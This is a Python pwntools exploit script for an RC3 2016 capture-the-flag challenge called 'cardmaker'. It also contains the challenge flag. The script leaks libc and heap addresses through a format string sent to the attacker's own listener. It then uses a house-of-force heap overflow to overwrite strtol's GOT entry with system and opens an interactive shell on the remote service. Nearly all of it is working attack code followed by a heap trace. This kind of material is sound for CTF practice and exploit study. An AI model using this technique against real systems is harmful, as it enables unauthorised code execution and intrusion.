from pwn import *
# RC3-2016-YOUZAH-REEL-JEDI-MASTA-NAU-LEWK
try:    import requests    dst_ip = requests.get('http://ipinfo.io').json()['ip']except:    dst_ip = '127.0.0.1'
print 'IP = %s' % dst_ip
binary = ELF('cardmaker')libc_binary = ELF('libc-2.23.so')
def menu(x):    """    1. New greeting card    2. List greeting cards to be sent    3. Change the contents of a card    4. Delete a greeting card in the queue    5. Send all greeting cards in the queue    6. Quit    """    io.recvuntil('Choice: ')    io.sendline(str(x))
def add(size, content, border='#', dst_port=5566):    menu(1)    io.recvuntil('from?')    io.sendline('a')    io.recvuntil('to?')    io.sendline('b')    io.recvuntil('to?')    io.sendline('%s:%s' % (dst_ip, dst_port))    io.recvuntil('card?')    io.sendline(border)    io.recvuntil('How long is your message...?')    s = str(size)    if size < 0: # strtol will skip non-numeric characters        s = ' ' + s    io.sendline(s)    io.recvuntil('end with ')    if content:        io.sendline(content)    io.sendline('done.')
sock = listen()
io = remote('cardmaker.ctf.rc3.club', 9887)
add(15, 'zz', '%p', dst_port=sock.lport)menu(5) # send card, leak heap and libc addresses
l = sock.wait_for_connection()libc, heap = l.recvall().split('\n')[-2].split('0x')[4:6]libc, heap = int(libc, 16), int(heap, 16)
print 'leaked libc addr = 0x%.12x' % libcprint 'leaked heap addr = 0x%.8x' % heap
libc += 0x00007fec75823000 - 0x7fec75be8780heap += 0x01fc8000 - 0x1fc9050
print 'libc base = 0x%.12x' % libcprint 'heap base = 0x%.8x' % heap
new_heap = heap + 0x0221f090 - 0x0221e000ptr_top = new_heap + 24print 'last chunk will be allocated at 0x%.8x' % new_heap
# ref 1: http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400# ref 2: https://github.com/shellphish/how2heap/blob/master/house_of_force.c
evil_size = binary.got['strtol'] - 16 - ptr_topprint 'evail_size = %x' % evil_size
# overwrite chunk header on top chunkadd(-1, 'A'*24 + '\xff' * 8)                        # this add actually malloc(24)add(evil_size - 25, '')                             # jump to desired addressadd(100, p64(libc + libc_binary.symbols['system'])) # GOT hijack
menu('sh') # strtol.GOT hijacked to systemio.interactive()
"""leaked libc addr = 0x7f615f97b780leaked heap addr = 0x0221f050libc base = 0x7f615f5b6000heap base = 0x0221e000
[0x4017be] malloc(40)                            = 0x221f020[0x400daf] malloc(42)                            = 0x221f050[0x401208] free(0x221f050)                       = <void>[0x4017be] malloc(24)                            = 0x221f090"""